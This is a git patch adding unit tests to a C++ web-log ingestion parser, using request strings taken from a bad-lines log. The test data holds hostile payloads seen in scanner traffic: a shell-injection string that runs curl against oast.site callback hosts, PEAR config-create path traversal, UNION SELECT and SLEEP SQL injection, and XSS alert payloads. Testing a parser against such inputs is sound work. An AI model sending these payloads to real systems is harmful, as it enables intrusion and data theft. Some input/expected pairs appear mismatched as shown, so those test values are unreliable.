From fbb5038105e26e07d34184544ea4c70892acef92 Mon Sep 17 00:00:00 2001 From: Dan Goodliffe Date: Thu, 2 Jul 2026 15:46:25 +0100 Subject: Fixes to parseEscapedString Fix the warnings picked up by the latest clang-tidy. Add test cases lifted from the bad_lines log. Add missing support for \b in escaping. --- test/Jamfile.jam | 2 ++ test/fixtures/badHex.exp.txt | 1 + test/fixtures/badHex.in.txt | 1 + test/test-ingest.cpp | 47 ++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 51 insertions(+) create mode 100644 test/fixtures/badHex.exp.txt create mode 100644 test/fixtures/badHex.in.txt (limited to 'test') diff --git a/test/Jamfile.jam b/test/Jamfile.jam index 98c0d9a..b8d4a6e 100644 --- a/test/Jamfile.jam +++ b/test/Jamfile.jam @@ -34,6 +34,8 @@ run test-ingest.cpp : -- : ../src/schema.sql : + fixtures/badHex.in.txt + fixtures/badHex.exp.txt BOOST_TEST_DYN_LINK testing-util ..//dbpp-postgresql diff --git a/test/fixtures/badHex.exp.txt b/test/fixtures/badHex.exp.txt new file mode 100644 index 0000000..fe881c9 --- /dev/null +++ b/test/fixtures/badHex.exp.txt @@ -0,0 +1 @@ +/׿ؿؿd¸;{curl,http:/d68kln4h7ttk42oulg6gs1q8cp6k5obp1.oast.site+-H+'User-Agent:+eUCxcw'};׿ؿؿd¸;{curl,http:/d68kln4h7ttk42oulg6gwee1i13nkzmsm.oast.site+-H+'User-Agent:+eUCxcw'}; \ No newline at end of file diff --git a/test/fixtures/badHex.in.txt b/test/fixtures/badHex.in.txt new file mode 100644 index 0000000..57fecba --- /dev/null +++ b/test/fixtures/badHex.in.txt @@ -0,0 +1 @@ +"/\x04\xd7\x7f\xbf\x18\xd8\x7f\xbf\x18\xd8\x7f\xbfd\xb8\x06\b;{curl,http:/d68kln4h7ttk42oulg6gs1q8cp6k5obp1.oast.site+-H+'User-Agent:+eUCxcw'};\x04\xd7\x7f\xbf\x18\xd8\x7f\xbf\x18\xd8\x7f\xbfd\xb8\x06\b;{curl,http:/d68kln4h7ttk42oulg6gwee1i13nkzmsm.oast.site+-H+'User-Agent:+eUCxcw'};" diff --git a/test/test-ingest.cpp b/test/test-ingest.cpp index 9860f08..7aa099e 100644 --- a/test/test-ingest.cpp +++ b/test/test-ingest.cpp @@ -104,6 +104,17 @@ namespace DB { BOOST_TEST_DONT_PRINT_LOG_VALUE(Ingestor::Stats); +const std::string badHexIn { +#embed "fixtures/badHex.in.txt" +}; +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wnarrowing" +#pragma GCC diagnostic ignored "-Wconversion" +const WebStat::QuotedString badHexExp { +#embed "fixtures/badHex.exp.txt" +}; +#pragma GCC diagnostic pop + BOOST_DATA_TEST_CASE(QuotedStringsGood, boost::unit_test::data::make>({ {R"("")", ""}, @@ -116,6 +127,9 @@ BOOST_DATA_TEST_CASE(QuotedStringsGood, {R"("hex\t\x41")", "hex\tA"}, {R"("/packages/dev-php/pecl-uploadprogress(),')\"((,,")", R"LOG(/packages/dev-php/pecl-uploadprogress(),')"((,,)LOG"}, + {R"("/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/")", + R"(/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/)"}, + {badHexIn, badHexExp}, }), input, expected) { @@ -143,6 +157,39 @@ BOOST_DATA_TEST_CASE(QueryStringsGood, {R"("?something")", "something"}, {R"("?some=thing")", "some=thing"}, {R"("?some=thing&other=thing")", "some=thing&other=thing"}, + {R"("?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php")", + R"(lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php)"}, + {R"("?device=aaaaa:a%27\";user|s.\"1337\";")", R"(device=aaaaa:a%27";user|s."1337";)"}, + {R"("?destpage=\"&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError")", + R"(destpage="&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError)"}, + {R"("?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa")", + R"(extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa)"}, + {R"("?h=gentoobrowse-2.0.0_beta7&id=\">alert(String.fromCharCode(88,83,83))")", + R"(h=gentoobrowse-2.0.0_beta7&id=">alert(String.fromCharCode(88,83,83)))"}, + {R"("?h=\">alert(String.fromCharCode(88,83,83))&id=d3465d0d00edd302c9d6fc7672a9405921a6a7db")", + R"(h=">alert(String.fromCharCode(88,83,83))&id=d3465d0d00edd302c9d6fc7672a9405921a6a7db)"}, + {R"("?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq\">")", + R"(pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq">)"}, + {R"("?p=1&xsg-provider=data://text/html,%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123")", + R"(xml=<%3fxml+version%3d"1.0"+%3f>%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123)"}, + {R"("?jvar_page_title=")", + R"(jvar_page_title=)"}, + {R"("?h=gentoobrowse-api-0.11.2.1&id=\">alert(String.fromCharCode(88,83,83))")", + R"(h=gentoobrowse-api-0.11.2.1&id=">alert(String.fromCharCode(88,83,83)))"}, + {R"("?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts=\"%27;%0Aalert(document.domain);//%0a%27")", + R"(opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27)"}, + {R"("?wpapp_shortcode=\"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1")", + R"(wpapp_shortcode="%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1)"}, + {R"("?post_type=sc_order&order_type=orders&format_err=1\">")", + R"(page=ph-settings&ph_message=">)"}, + {R"("?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept")", + R"(entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept)"}, }), input, expected) { -- cgit v1.3